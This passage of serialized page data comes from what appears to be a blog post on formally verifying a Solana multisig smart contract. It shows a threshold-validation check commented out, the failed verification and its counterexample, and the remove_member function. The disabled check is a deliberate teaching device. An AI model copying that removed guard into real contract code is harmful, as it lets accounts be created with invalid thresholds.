}\n",[29100],{"type":22,"tag":30,"props":29101,"children":29102},{"__ignoreMap":7},[29103,29111,29119],{"type":22,"tag":101,"props":29104,"children":29105},{"class":103,"line":104},[29106],{"type":22,"tag":101,"props":29107,"children":29108},{"style":2215},[29109],{"type":27,"value":29110},"// if usize::from(threshold) \u003C 1 || usize::from(threshold) > total_members {\n",{"type":22,"tag":101,"props":29112,"children":29113},{"class":103,"line":157},[29114],{"type":22,"tag":101,"props":29115,"children":29116},{"style":2215},[29117],{"type":27,"value":29118},"// return err!(MsError::InvalidThreshold);\n",{"type":22,"tag":101,"props":29120,"children":29121},{"class":103,"line":182},[29122],{"type":22,"tag":101,"props":29123,"children":29124},{"style":2215},[29125],{"type":27,"value":29126},"// }\n",{"type":22,"tag":23,"props":29128,"children":29129},{},[29130],{"type":27,"value":29131},"And run again:",{"type":22,"tag":91,"props":29133,"children":29135},{"code":29134},"VERIFICATION:- FAILED\nVerification Time: 8.245743s\n",[29136],{"type":22,"tag":30,"props":29137,"children":29138},{"__ignoreMap":7},[29139],{"type":27,"value":29134},{"type":22,"tag":23,"props":29141,"children":29142},{},[29143],{"type":27,"value":29144},"We get the following counterexample:",{"type":22,"tag":91,"props":29146,"children":29148},{"code":29147,"language":95,"meta":7,"className":93,"style":7},"Account {\n account: Ms {\n threshold: 32768,\n authority_index: 1,\n transaction_index: 0,\n ms_change_index: 0,\n bump: 0,\n create_key: ...,\n allow_external_execute: false,\n keys: SparseVec {\n size: 5112,\n },\n },\n info: AccountInfo { ... },\n}\n",[29149],{"type":22,"tag":30,"props":29150,"children":29151},{"__ignoreMap":7},[29152,29163,29182,29202,29222,29242,29262,29282,29302,29322,29343,29364,29372,29380,29410],{"type":22,"tag":101,"props":29153,"children":29154},{"class":103,"line":104},[29155,29159],{"type":22,"tag":101,"props":29156,"children":29157},{"style":114},[29158],{"type":27,"value":21143},{"type":22,"tag":101,"props":29160,"children":29161},{"style":120},[29162],{"type":27,"value":154},{"type":22,"tag":101,"props":29164,"children":29165},{"class":103,"line":157},[29166,29170,29174,29178],{"type":22,"tag":101,"props":29167,"children":29168},{"style":126},[29169],{"type":27,"value":6626},{"type":22,"tag":101,"props":29171,"children":29172},{"style":166},[29173],{"type":27,"value":169},{"type":22,"tag":101,"props":29175,"children":29176},{"style":114},[29177],{"type":27,"value":25143},{"type":22,"tag":101,"props":29179,"children":29180},{"style":120},[29181],{"type":27,"value":154},{"type":22,"tag":101,"props":29183,"children":29184},{"class":103,"line":182},[29185,29189,29193,29198],{"type":22,"tag":101,"props":29186,"children":29187},{"style":126},[29188],{"type":27,"value":27824},{"type":22,"tag":101,"props":29190,"children":29191},{"style":166},[29192],{"type":27,"value":169},{"type":22,"tag":101,"props":29194,"children":29195},{"style":1544},[29196],{"type":27,"value":29197}," 32768",{"type":22,"tag":101,"props":29199,"children":29200},{"style":120},[29201],{"type":27,"value":179},{"type":22,"tag":101,"props":29203,"children":29204},{"class":103,"line":367},[29205,29210,29214,29218],{"type":22,"tag":101,"props":29206,"children":29207},{"style":126},[29208],{"type":27,"value":29209}," authority_index",{"type":22,"tag":101,"props":29211,"children":29212},{"style":166},[29213],{"type":27,"value":169},{"type":22,"tag":101,"props":29215,"children":29216},{"style":1544},[29217],{"type":27,"value":3648},{"type":22,"tag":101,"props":29219,"children":29220},{"style":120},[29221],{"type":27,"value":179},{"type":22,"tag":101,"props":29223,"children":29224},{"class":103,"line":398},[29225,29230,29234,29238],{"type":22,"tag":101,"props":29226,"children":29227},{"style":126},[29228],{"type":27,"value":29229}," transaction_index",{"type":22,"tag":101,"props":29231,"children":29232},{"style":166},[29233],{"type":27,"value":169},{"type":22,"tag":101,"props":29235,"children":29236},{"style":1544},[29237],{"type":27,"value":1547},{"type":22,"tag":101,"props":29239,"children":29240},{"style":120},[29241],{"type":27,"value":179},{"type":22,"tag":101,"props":29243,"children":29244},{"class":103,"line":428},[29245,29250,29254,29258],{"type":22,"tag":101,"props":29246,"children":29247},{"style":126},[29248],{"type":27,"value":29249}," ms_change_index",{"type":22,"tag":101,"props":29251,"children":29252},{"style":166},[29253],{"type":27,"value":169},{"type":22,"tag":101,"props":29255,"children":29256},{"style":1544},[29257],{"type":27,"value":1547},{"type":22,"tag":101,"props":29259,"children":29260},{"style":120},[29261],{"type":27,"value":179},{"type":22,"tag":101,"props":29263,"children":29264},{"class":103,"line":997},[29265,29270,29274,29278],{"type":22,"tag":101,"props":29266,"children":29267},{"style":126},[29268],{"type":27,"value":29269}," bump",{"type":22,"tag":101,"props":29271,"children":29272},{"style":166},[29273],{"type":27,"value":169},{"type":22,"tag":101,"props":29275,"children":29276},{"style":1544},[29277],{"type":27,"value":1547},{"type":22,"tag":101,"props":29279,"children":29280},{"style":120},[29281],{"type":27,"value":179},{"type":22,"tag":101,"props":29283,"children":29284},{"class":103,"line":1032},[29285,29289,29293,29298],{"type":22,"tag":101,"props":29286,"children":29287},{"style":126},[29288],{"type":27,"value":27837},{"type":22,"tag":101,"props":29290,"children":29291},{"style":166},[29292],{"type":27,"value":169},{"type":22,"tag":101,"props":29294,"children":29295},{"style":166},[29296],{"type":27,"value":29297}," ...",{"type":22,"tag":101,"props":29299,"children":29300},{"style":120},[29301],{"type":27,"value":179},{"type":22,"tag":101,"props":29303,"children":29304},{"class":103,"line":1063},[29305,29310,29314,29318],{"type":22,"tag":101,"props":29306,"children":29307},{"style":126},[29308],{"type":27,"value":29309}," allow_external_execute",{"type":22,"tag":101,"props":29311,"children":29312},{"style":166},[29313],{"type":27,"value":169},{"type":22,"tag":101,"props":29315,"children":29316},{"style":108},[29317],{"type":27,"value":13065},{"type":22,"tag":101,"props":29319,"children":29320},{"style":120},[29321],{"type":27,"value":179},{"type":22,"tag":101,"props":29323,"children":29324},{"class":103,"line":1071},[29325,29330,29334,29339],{"type":22,"tag":101,"props":29326,"children":29327},{"style":126},[29328],{"type":27,"value":29329}," keys",{"type":22,"tag":101,"props":29331,"children":29332},{"style":166},[29333],{"type":27,"value":169},{"type":22,"tag":101,"props":29335,"children":29336},{"style":114},[29337],{"type":27,"value":29338}," SparseVec",{"type":22,"tag":101,"props":29340,"children":29341},{"style":120},[29342],{"type":27,"value":154},{"type":22,"tag":101,"props":29344,"children":29345},{"class":103,"line":1110},[29346,29351,29355,29360],{"type":22,"tag":101,"props":29347,"children":29348},{"style":126},[29349],{"type":27,"value":29350}," size",{"type":22,"tag":101,"props":29352,"children":29353},{"style":166},[29354],{"type":27,"value":169},{"type":22,"tag":101,"props":29356,"children":29357},{"style":1544},[29358],{"type":27,"value":29359}," 5112",{"type":22,"tag":101,"props":29361,"children":29362},{"style":120},[29363],{"type":27,"value":179},{"type":22,"tag":101,"props":29365,"children":29366},{"class":103,"line":1118},[29367],{"type":22,"tag":101,"props":29368,"children":29369},{"style":120},[29370],{"type":27,"value":29371}," },\n",{"type":22,"tag":101,"props":29373,"children":29374},{"class":103,"line":1158},[29375],{"type":22,"tag":101,"props":29376,"children":29377},{"style":120},[29378],{"type":27,"value":29379}," },\n",{"type":22,"tag":101,"props":29381,"children":29382},{"class":103,"line":1166},[29383,29388,29392,29397,29401,29405],{"type":22,"tag":101,"props":29384,"children":29385},{"style":126},[29386],{"type":27,"value":29387}," info",{"type":22,"tag":101,"props":29389,"children":29390},{"style":166},[29391],{"type":27,"value":169},{"type":22,"tag":101,"props":29393,"children":29394},{"style":114},[29395],{"type":27,"value":29396}," AccountInfo",{"type":22,"tag":101,"props":29398,"children":29399},{"style":120},[29400],{"type":27,"value":1479},{"type":22,"tag":101,"props":29402,"children":29403},{"style":166},[29404],{"type":27,"value":614},{"type":22,"tag":101,"props":29406,"children":29407},{"style":120},[29408],{"type":27,"value":29409}," },\n",{"type":22,"tag":101,"props":29411,"children":29412},{"class":103,"line":1215},[29413],{"type":22,"tag":101,"props":29414,"children":29415},{"style":120},[29416],{"type":27,"value":188},{"type":22,"tag":23,"props":29418,"children":29419},{},[29420,29422,29427,29429,29434],{"type":27,"value":29421},"Here we see that the ",{"type":22,"tag":30,"props":29423,"children":29425},{"className":29424},[],[29426],{"type":27,"value":26737},{"type":27,"value":29428}," of the newly created ",{"type":22,"tag":30,"props":29430,"children":29432},{"className":29431},[],[29433],{"type":27,"value":26729},{"type":27,"value":29435}," account is larger than the number of keys (5112) which breaks our struct invariant.",{"type":22,"tag":1760,"props":29437,"children":29439},{"id":29438},"verify-requirements-to-remove-a-member",[29440],{"type":27,"value":26767},{"type":22,"tag":23,"props":29442,"children":29443},{},[29444,29446,29451,29452,29457,29459,29465],{"type":27,"value":29445},"Now that we've seen both ",{"type":22,"tag":30,"props":29447,"children":29449},{"className":29448},[],[29450],{"type":27,"value":24146},{"type":27,"value":209},{"type":22,"tag":30,"props":29453,"children":29455},{"className":29454},[],[29456],{"type":27,"value":25765},{"type":27,"value":29458}," let's take a look at the ",{"type":22,"tag":30,"props":29460,"children":29462},{"className":29461},[],[29463],{"type":27,"value":29464},"remove_member",{"type":27,"value":29466}," function:",{"type":22,"tag":91,"props":29468,"children":29470},{"code":29469,"language":95,"meta":7,"className":93,"style":7},"#[derive(Accounts, Debug)]\npub struct MsAuth\u003C'info> {\n #[account(mut)]\n multisig: Box\u003CAccount\u003C'info, Ms>>,\n #[account(\n mut,\n seeds = [\n b\"squad\",\n multisig.create_key.as_ref(),\n b\"multisig\"\n ], bump = multisig.bump\n )]\n pub multisig_auth: Signer\u003C'info>,\n}\n\npub fn remove_member(ctx: Context\u003CMsAuth>, old_member: Pubkey) -> Result\u003C()> {\n // if there is only one key in this multisig, reject the removal\n if ctx.accounts.multisig.keys.len() == 1 {\n return err!(MsError::CannotRemoveSoloMember);\n }\n ctx.accounts.multisig.remove_member(old_member)?;\n\n // if the number of keys is now less than the threshold, adjust it\n if ctx.accounts.multisig.keys.len() \u003C usize::from(ctx.accounts.multisig.threshold) {\n let new_threshold: u16 = ctx.accounts.multisig.keys.len().try_into().unwrap();\n ctx.accounts.multisig.change_threshold(new_threshold)?;\n }\n let new_index = ctx.accounts.multisig.transaction_index;\n ctx.accounts.multisig.set_change_index(new_index)\n}\n",[29471],{"type":22,"tag":30,"props":29472,"children":29473},{"__ignoreMap":7},[29474,29497,29525,29540,29585,29592,29604,29620,29632,29658,29666,29695,29702,29734,29741,29748,29822,29830,29890,29922,29929,29980,29987,29995,30088,30177,30231,30238,30283,30328],{"type":22,"tag":101,"props":29475,"children":29476},{"class":103,"line":104},[29477,29481,29485,29489,29493],{"type":22,"tag":101,"props":29478,"children":29479},{"style":120},[29480],{"type":27,"value":26825},{"type":22,"tag":101,"props":29482,"children":29483},{"style":114},[29484],{"type":27,"value":26830},{"type":22,"tag":101,"props":29486,"children":29487},{"style":120},[29488],{"type":27,"value":758},{"type":22,"tag":101,"props":29490,"children":29491},{"style":114},[29492],{"type":27,"value":28709},{"type":22,"tag":101,"props":29494,"children":29495},{"style":120},[29496],{"type":27,"value":24250},{"type":22,"tag":101,"props":29498,"children":29499},{"class":103,"line":157},[29500,29504,29508,29513,29517,29521],{"type":22,"tag":101,"props":29501,"children":29502},{"style":108},[29503],{"type":27,"value":17693},{"type":22,"tag":101,"props":29505,"children":29506},{"style":108},[29507],{"type":27,"value":25138},{"type":22,"tag":101,"props":29509,"children":29510},{"style":114},[29511],{"type":27,"value":29512}," MsAuth",{"type":22,"tag":101,"props":29514,"children":29515},{"style":120},[29516],{"type":27,"value":26910},{"type":22,"tag":101,"props":29518,"children":29519},{"style":114},[29520],{"type":27,"value":26915},{"type":22,"tag":101,"props":29522,"children":29523},{"style":120},[29524],{"type":27,"value":2282},{"type":22,"tag":101,"props":29526,"children":29527},{"class":103,"line":182},[29528,29532,29536],{"type":22,"tag":101,"props":29529,"children":29530},{"style":120},[29531],{"type":27,"value":27116},{"type":22,"tag":101,"props":29533,"children":29534},{"style":108},[29535],{"type":27,"value":7760},{"type":22,"tag":101,"props":29537,"children":29538},{"style":120},[29539],{"type":27,"value":24250},{"type":22,"tag":101,"props":29541,"children":29542},{"class":103,"line":367},[29543,29548,29552,29557,29561,29565,29569,29573,29577,29581],{"type":22,"tag":101,"props":29544,"children":29545},{"style":126},[29546],{"type":27,"value":29547}," multisig",{"type":22,"tag":101,"props":29549,"children":29550},{"style":166},[29551],{"type":27,"value":169},{"type":22,"tag":101,"props":29553,"children":29554},{"style":114},[29555],{"type":27,"value":29556}," Box",{"type":22,"tag":101,"props":29558,"children":29559},{"style":120},[29560],{"type":27,"value":123},{"type":22,"tag":101,"props":29562,"children":29563},{"style":114},[29564],{"type":27,"value":21143},{"type":22,"tag":101,"props":29566,"children":29567},{"style":120},[29568],{"type":27,"value":26910},{"type":22,"tag":101,"props":29570,"children":29571},{"style":114},[29572],{"type":27,"value":26915},{"type":22,"tag":101,"props":29574,"children":29575},{"style":120},[29576],{"type":27,"value":758},{"type":22,"tag":101,"props":29578,"children":29579},{"style":114},[29580],{"type":27,"value":26729},{"type":22,"tag":101,"props":29582,"children":29583},{"style":120},[29584],{"type":27,"value":10973},{"type":22,"tag":101,"props":29586,"children":29587},{"class":103,"line":398},[29588],{"type":22,"tag":101,"props":29589,"children":29590},{"style":120},[29591],{"type":27,"value":26927},{"type":22,"tag":101,"props":29593,"children":29594},{"class":103,"line":428},[29595,29600],{"type":22,"tag":101,"props":29596,"children":29597},{"style":108},[29598],{"type":27,"value":29599}," mut",{"type":22,"tag":101,"props":29601,"children":29602},{"style":120},[29603],{"type":27,"value":179},{"type":22,"tag":101,"props":29605,"children":29606},{"class":103,"line":997},[29607,29611,29615],{"type":22,"tag":101,"props":29608,"children":29609},{"style":120},[29610],{"type":27,"value":27011},{"type":22,"tag":101,"props":29612,"children":29613},{"style":166},[29614],{"type":27,"value":1511},{"type":22,"tag":101,"props":29616,"children":29617},{"style":120},[29618],{"type":27,"value":29619}," [\n",{"type":22,"tag":101,"props":29621,"children":29622},{"class":103,"line":1032},[29623,29628],{"type":22,"tag":101,"props":29624,"children":29625},{"style":6476},[29626],{"type":27,"value":29627}," b\"squad\"",{"type":22,"tag":101,"props":29629,"children":29630},{"style":120},[29631],{"type":27,"value":179},{"type":22,"tag":101,"props":29633,"children":29634},{"class":103,"line":1063},[29635,29640,29644,29649,29653],{"type":22,"tag":101,"props":29636,"children":29637},{"style":120},[29638],{"type":27,"value":29639}," multisig",{"type":22,"tag":101,"props":29641,"children":29642},{"style":166},[29643],{"type":27,"value":231},{"type":22,"tag":101,"props":29645,"children":29646},{"style":120},[29647],{"type":27,"value":29648},"create_key",{"type":22,"tag":101,"props":29650,"children":29651},{"style":166},[29652],{"type":27,"value":231},{"type":22,"tag":101,"props":29654,"children":29655},{"style":120},[29656],{"type":27,"value":29657},"as_ref(),\n",{"type":22,"tag":101,"props":29659,"children":29660},{"class":103,"line":1071},[29661],{"type":22,"tag":101,"props":29662,"children":29663},{"style":6476},[29664],{"type":27,"value":29665}," b\"multisig\"\n",{"type":22,"tag":101,"props":29667,"children":29668},{"class":103,"line":1110},[29669,29674,29679,29683,29687,29691],{"type":22,"tag":101,"props":29670,"children":29671},{"style":120},[29672],{"type":27,"value":29673}," ], ",{"type":22,"tag":101,"props":29675,"children":29676},{"style":126},[29677],{"type":27,"value":29678},"bump",{"type":22,"tag":101,"props":29680,"children":29681},{"style":166},[29682],{"type":27,"value":960},{"type":22,"tag":101,"props":29684,"children":29685},{"style":126},[29686],{"type":27,"value":27072},{"type":22,"tag":101,"props":29688,"children":29689},{"style":166},[29690],{"type":27,"value":231},{"type":22,"tag":101,"props":29692,"children":29693},{"style":120},[29694],{"type":27,"value":27052},{"type":22,"tag":101,"props":29696,"children":29697},{"class":103,"line":1118},[29698],{"type":22,"tag":101,"props":29699,"children":29700},{"style":120},[29701],{"type":27,"value":27060},{"type":22,"tag":101,"props":29703,"children":29704},{"class":103,"line":1158},[29705,29709,29714,29718,29722,29726,29730],{"type":22,"tag":101,"props":29706,"children":29707},{"style":108},[29708],{"type":27,"value":24830},{"type":22,"tag":101,"props":29710,"children":29711},{"style":126},[29712],{"type":27,"value":29713}," multisig_auth",{"type":22,"tag":101,"props":29715,"children":29716},{"style":166},[29717],{"type":27,"value":169},{"type":22,"tag":101,"props":29719,"children":29720},{"style":114},[29721],{"type":27,"value":27145},{"type":22,"tag":101,"props":29723,"children":29724},{"style":120},[29725],{"type":27,"value":26910},{"type":22,"tag":101,"props":29727,"children":29728},{"style":114},[29729],{"type":27,"value":26915},{"type":22,"tag":101,"props":29731,"children":29732},{"style":120},[29733],{"type":27,"value":343},{"type":22,"tag":101,"props":29735,"children":29736},{"class":103,"line":1166},[29737],{"type":22,"tag":101,"props":29738,"children":29739},{"style":120},[29740],{"type":27,"value":188},{"type":22,"tag":101,"props":29742,"children":29743},{"class":103,"line":1215},[29744],{"type":22,"tag":101,"props":29745,"children":29746},{"emptyLinePlaceholder":15},[29747],{"type":27,"value":1581},{"type":22,"tag":101,"props":29749,"children":29750},{"class":103,"line":2425},[29751,29755,29759,29764,29768,29772,29776,29780,29784,29789,29793,29798,29802,29806,29810,29814,29818],{"type":22,"tag":101,"props":29752,"children":29753},{"style":108},[29754],{"type":27,"value":17693},{"type":22,"tag":101,"props":29756,"children":29757},{"style":108},[29758],{"type":27,"value":17698},{"type":22,"tag":101,"props":29760,"children":29761},{"style":926},[29762],{"type":27,"value":29763}," remove_member",{"type":22,"tag":101,"props":29765,"children":29766},{"style":120},[29767],{"type":27,"value":980},{"type":22,"tag":101,"props":29769,"children":29770},{"style":126},[29771],{"type":27,"value":24271},{"type":22,"tag":101,"props":29773,"children":29774},{"style":166},[29775],{"type":27,"value":169},{"type":22,"tag":101,"props":29777,"children":29778},{"style":114},[29779],{"type":27,"value":24280},{"type":22,"tag":101,"props":29781,"children":29782},{"style":120},[29783],{"type":27,"value":123},{"type":22,"tag":101,"props":29785,"children":29786},{"style":114},[29787],{"type":27,"value":29788},"MsAuth",{"type":22,"tag":101,"props":29790,"children":29791},{"style":120},[29792],{"type":27,"value":5555},{"type":22,"tag":101,"props":29794,"children":29795},{"style":126},[29796],{"type":27,"value":29797},"old_member",{"type":22,"tag":101,"props":29799,"children":29800},{"style":166},[29801],{"type":27,"value":169},{"type":22,"tag":101,"props":29803,"children":29804},{"style":114},[29805],{"type":27,"value":24844},{"type":22,"tag":101,"props":29807,"children":29808},{"style":120},[29809],{"type":27,"value":901},{"type":22,"tag":101,"props":29811,"children":29812},{"style":166},[29813],{"type":27,"value":17759},{"type":22,"tag":101,"props":29815,"children":29816},{"style":114},[29817],{"type":27,"value":17764},{"type":22,"tag":101,"props":29819,"children":29820},{"style":120},[29821],{"type":27,"value":24321},{"type":22,"tag":101,"props":29823,"children":29824},{"class":103,"line":5417},[29825],{"type":22,"tag":101,"props":29826,"children":29827},{"style":2215},[29828],{"type":27,"value":29829}," // if there is only one key in this multisig, reject the removal\n",{"type":22,"tag":101,"props":29831,"children":29832},{"class":103,"line":7714},[29833,29837,29842,29846,29850,29854,29858,29862,29866,29870,29874,29878,29882,29886],{"type":22,"tag":101,"props":29834,"children":29835},{"style":3595},[29836],{"type":27,"value":16283},{"type":22,"tag":101,"props":29838,"children":29839},{"style":126},[29840],{"type":27,"value":29841}," ctx",{"type":22,"tag":101,"props":29843,"children":29844},{"style":166},[29845],{"type":27,"value":231},{"type":22,"tag":101,"props":29847,"children":29848},{"style":120},[29849],{"type":27,"value":18677},{"type":22,"tag":101,"props":29851,"children":29852},{"style":166},[29853],{"type":27,"value":231},{"type":22,"tag":101,"props":29855,"children":29856},{"style":120},[29857],{"type":27,"value":27803},{"type":22,"tag":101,"props":29859,"children":29860},{"style":166},[29861],{"type":27,"value":231},{"type":22,"tag":101,"props":29863,"children":29864},{"style":120},[29865],{"type":27,"value":24970},{"type":22,"tag":101,"props":29867,"children":29868},{"style":166},[29869],{"type":27,"value":231},{"type":22,"tag":101,"props":29871,"children":29872},{"style":926},[29873],{"type":27,"value":13147},{"type":22,"tag":101,"props":29875,"children":29876},{"style":120},[29877],{"type":27,"value":18045},{"type":22,"tag":101,"props":29879,"children":29880},{"style":166},[29881],{"type":27,"value":4340},{"type":22,"tag":101,"props":29883,"children":29884},{"style":1544},[29885],{"type":27,"value":3648},{"type":22,"tag":101,"props":29887,"children":29888},{"style":120},[29889],{"type":27,"value":154},{"type":22,"tag":101,"props":29891,"children":29892},{"class":103,"line":7723},[29893,29897,29901,29905,29909,29913,29918],{"type":22,"tag":101,"props":29894,"children":29895},{"style":3595},[29896],{"type":27,"value":19742},{"type":22,"tag":101,"props":29898,"children":29899},{"style":926},[29900],{"type":27,"value":27506},{"type":22,"tag":101,"props":29902,"children":29903},{"style":120},[29904],{"type":27,"value":980},{"type":22,"tag":101,"props":29906,"children":29907},{"style":114},[29908],{"type":27,"value":27515},{"type":22,"tag":101,"props":29910,"children":29911},{"style":166},[29912],{"type":27,"value":970},{"type":22,"tag":101,"props":29914,"children":29915},{"style":114},[29916],{"type":27,"value":29917},"CannotRemoveSoloMember",{"type":22,"tag":101,"props":29919,"children":29920},{"style":120},[29921],{"type":27,"value":994},{"type":22,"tag":101,"props":29923,"children":29924},{"class":103,"line":7791},[29925],{"type":22,"tag":101,"props":29926,"children":29927},{"style":120},[29928],{"type":27,"value":1734},{"type":22,"tag":101,"props":29930,"children":29931},{"class":103,"line":7799},[29932,29936,29940,29944,29948,29952,29956,29960,29964,29968,29972,29976],{"type":22,"tag":101,"props":29933,"children":29934},{"style":126},[29935],{"type":27,"value":24215},{"type":22,"tag":101,"props":29937,"children":29938},{"style":166},[29939],{"type":27,"value":231},{"type":22,"tag":101,"props":29941,"children":29942},{"style":120},[29943],{"type":27,"value":18677},{"type":22,"tag":101,"props":29945,"children":29946},{"style":166},[29947],{"type":27,"value":231},{"type":22,"tag":101,"props":29949,"children":29950},{"style":120},[29951],{"type":27,"value":27803},{"type":22,"tag":101,"props":29953,"children":29954},{"style":166},[29955],{"type":27,"value":231},{"type":22,"tag":101,"props":29957,"children":29958},{"style":926},[29959],{"type":27,"value":29464},{"type":22,"tag":101,"props":29961,"children":29962},{"style":120},[29963],{"type":27,"value":980},{"type":22,"tag":101,"props":29965,"children":29966},{"style":126},[29967],{"type":27,"value":29797},{"type":22,"tag":101,"props":29969,"children":29970},{"style":120},[29971],{"type":27,"value":2261},{"type":22,"tag":101,"props":29973,"children":29974},{"style":166},[29975],{"type":27,"value":5455},{"type":22,"tag":101,"props":29977,"children":29978},{"style":120},[29979],{"type":27,"value":1520},{"type":22,"tag":101,"props":29981,"children":29982},{"class":103,"line":7829},[29983],{"type":22,"tag":101,"props":29984,"children":29985},{"emptyLinePlaceholder":15},[29986],{"type":27,"value":1581},{"type":22,"tag":101,"props":29988,"children":29989},{"class":103,"line":7837},[29990],{"type":22,"tag":101,"props":29991,"children":29992},{"style":2215},[29993],{"type":27,"value":29994}," // if the number of keys is now less than the threshold, adjust it\n",{"type":22,"tag":101,"props":29996,"children":29997},{"class":103,"line":7868},[29998,30002,30006,30010,30014,30018,30022,30026,30030,30034,30038,30043,30047,30051,30055,30059,30063,30067,30071,30075,30079,30083],{"type":22,"tag":101,"props":29999,"children":30000},{"style":3595},[30001],{"type":27,"value":16283},{"type":22,"tag":101,"props":30003,"children":30004},{"style":126},[30005],{"type":27,"value":29841},{"type":22,"tag":101,"props":30007,"children":30008},{"style":166},[30009],{"type":27,"value":231},{"type":22,"tag":101,"props":30011,"children":30012},{"style":120},[30013],{"type":27,"value":18677},{"type":22,"tag":101,"props":30015,"children":30016},{"style":166},[30017],{"type":27,"value":231},{"type":22,"tag":101,"props":30019,"children":30020},{"style":120},[30021],{"type":27,"value":27803},{"type":22,"tag":101,"props":30023,"children":30024},{"style":166},[30025],{"type":27,"value":231},{"type":22,"tag":101,"props":30027,"children":30028},{"style":120},[30029],{"type":27,"value":24970},{"type":22,"tag":101,"props":30031,"children":30032},{"style":166},[30033],{"type":27,"value":231},{"type":22,"tag":101,"props":30035,"children":30036},{"style":926},[30037],{"type":27,"value":13147},{"type":22,"tag":101,"props":30039,"children":30040},{"style":120},[30041],{"type":27,"value":30042},"() \u003C ",{"type":22,"tag":101,"props":30044,"children":30045},{"style":114},[30046],{"type":27,"value":20600},{"type":22,"tag":101,"props":30048,"children":30049},{"style":166},[30050],{"type":27,"value":970},{"type":22,"tag":101,"props":30052,"children":30053},{"style":926},[30054],{"type":27,"value":23464},{"type":22,"tag":101,"props":30056,"children":30057},{"style":120},[30058],{"type":27,"value":980},{"type":22,"tag":101,"props":30060,"children":30061},{"style":126},[30062],{"type":27,"value":24271},{"type":22,"tag":101,"props":30064,"children":30065},{"style":166},[30066],{"type":27,"value":231},{"type":22,"tag":101,"props":30068,"children":30069},{"style":120},[30070],{"type":27,"value":18677},{"type":22,"tag":101,"props":30072,"children":30073},{"style":166},[30074],{"type":27,"value":231},{"type":22,"tag":101,"props":30076,"children":30077},{"style":120},[30078],{"type":27,"value":27803},{"type":22,"tag":101,"props":30080,"children":30081},{"style":166},[30082],{"type":27,"value":231},{"type":22,"tag":101,"props":30084,"children":30085},{"style":120},[30086],{"type":27,"value":30087},"threshold) {\n",{"type":22,"tag":101,"props":30089,"children":30090},{"class":103,"line":7876},[30091,30095,30100,30104,30108,30112,30116,30120,30124,30128,30132,30136,30140,30144,30148,30152,30156,30161,30165,30169,30173],{"type":22,"tag":101,"props":30092,"children":30093},{"style":108},[30094],{"type":27,"value":3746},{"type":22,"tag":101,"props":30096,"children":30097},{"style":126},[30098],{"type":27,"value":30099}," new_threshold",{"type":22,"tag":101,"props":30101,"children":30102},{"style":166},[30103],{"type":27,"value":169},{"type":22,"tag":101,"props":30105,"children":30106},{"style":114},[30107],{"type":27,"value":25017},{"type":22,"tag":101,"props":30109,"children":30110},{"style":166},[30111],{"type":27,"value":960},{"type":22,"tag":101,"props":30113,"children":30114},{"style":126},[30115],{"type":27,"value":29841},{"type":22,"tag":101,"props":30117,"children":30118},{"style":166},[30119],{"type":27,"value":231},{"type":22,"tag":101,"props":30121,"children":30122},{"style":120},[30123],{"type":27,"value":18677},{"type":22,"tag":101,"props":30125,"children":30126},{"style":166},[30127],{"type":27,"value":231},{"type":22,"tag":101,"props":30129,"children":30130},{"style":120},[30131],{"type":27,"value":27803},{"type":22,"tag":101,"props":30133,"children":30134},{"style":166},[30135],{"type":27,"value":231},{"type":22,"tag":101,"props":30137,"children":30138},{"style":120},[30139],{"type":27,"value":24970},{"type":22,"tag":101,"props":30141,"children":30142},{"style":166},[30143],{"type":27,"value":231},{"type":22,"tag":101,"props":30145,"children":30146},{"style":926},[30147],{"type":27,"value":13147},{"type":22,"tag":101,"props":30149,"children":30150},{"style":120},[30151],{"type":27,"value":17881},{"type":22,"tag":101,"props":30153,"children":30154},{"style":166},[30155],{"type":27,"value":231},{"type":22,"tag":101,"props":30157,"children":30158},{"style":926},[30159],{"type":27,"value":30160},"try_into",{"type":22,"tag":101,"props":30162,"children":30163},{"style":120},[30164],{"type":27,"value":17881},{"type":22,"tag":101,"props":30166,"children":30167},{"style":166},[30168],{"type":27,"value":231},{"type":22,"tag":101,"props":30170,"children":30171},{"style":926},[30172],{"type":27,"value":7700},{"type":22,"tag":101,"props":30174,"children":30175},{"style":120},[30176],{"type":27,"value":934},{"type":22,"tag":101,"props":30178,"children":30179},{"class":103,"line":7936},[30180,30185,30189,30193,30197,30201,30205,30210,30214,30219,30223,30227],{"type":22,"tag":101,"props":30181,"children":30182},{"style":126},[30183],{"type":27,"value":30184}," ctx",{"type":22,"tag":101,"props":30186,"children":30187},{"style":166},[30188],{"type":27,"value":231},{"type":22,"tag":101,"props":30190,"children":30191},{"style":120},[30192],{"type":27,"value":18677},{"type":22,"tag":101,"props":30194,"children":30195},{"style":166},[30196],{"type":27,"value":231},{"type":22,"tag":101,"props":30198,"children":30199},{"style":120},[30200],{"type":27,"value":27803},{"type":22,"tag":101,"props":30202,"children":30203},{"style":166},[30204],{"type":27,"value":231},{"type":22,"tag":101,"props":30206,"children":30207},{"style":926},[30208],{"type":27,"value":30209},"change_threshold",{"type":22,"tag":101,"props":30211,"children":30212},{"style":120},[30213],{"type":27,"value":980},{"type":22,"tag":101,"props":30215,"children":30216},{"style":126},[30217],{"type":27,"value":30218},"new_threshold",{"type":22,"tag":101,"props":30220,"children":30221},{"style":120},[30222],{"type":27,"value":2261},{"type":22,"tag":101,"props":30224,"children":30225},{"style":166},[30226],{"type":27,"value":5455},{"type":22,"tag":101,"props":30228,"children":30229},{"style":120},[30230],{"type":27,"value":1520},{"type":22,"tag":101,"props":30232,"children":30233},{"class":103,"line":13054},[30234],{"type":22,"tag":101,"props":30235,"children":30236},{"style":120},[30237],{"type":27,"value":1734},{"type":22,"tag":101,"props":30239,"children":30240},{"class":103,"line":13072},[30241,30245,30250,30254,30258,30262,30266,30270,30274,30278],{"type":22,"tag":101,"props":30242,"children":30243},{"style":108},[30244],{"type":27,"value":950},{"type":22,"tag":101,"props":30246,"children":30247},{"style":126},[30248],{"type":27,"value":30249}," 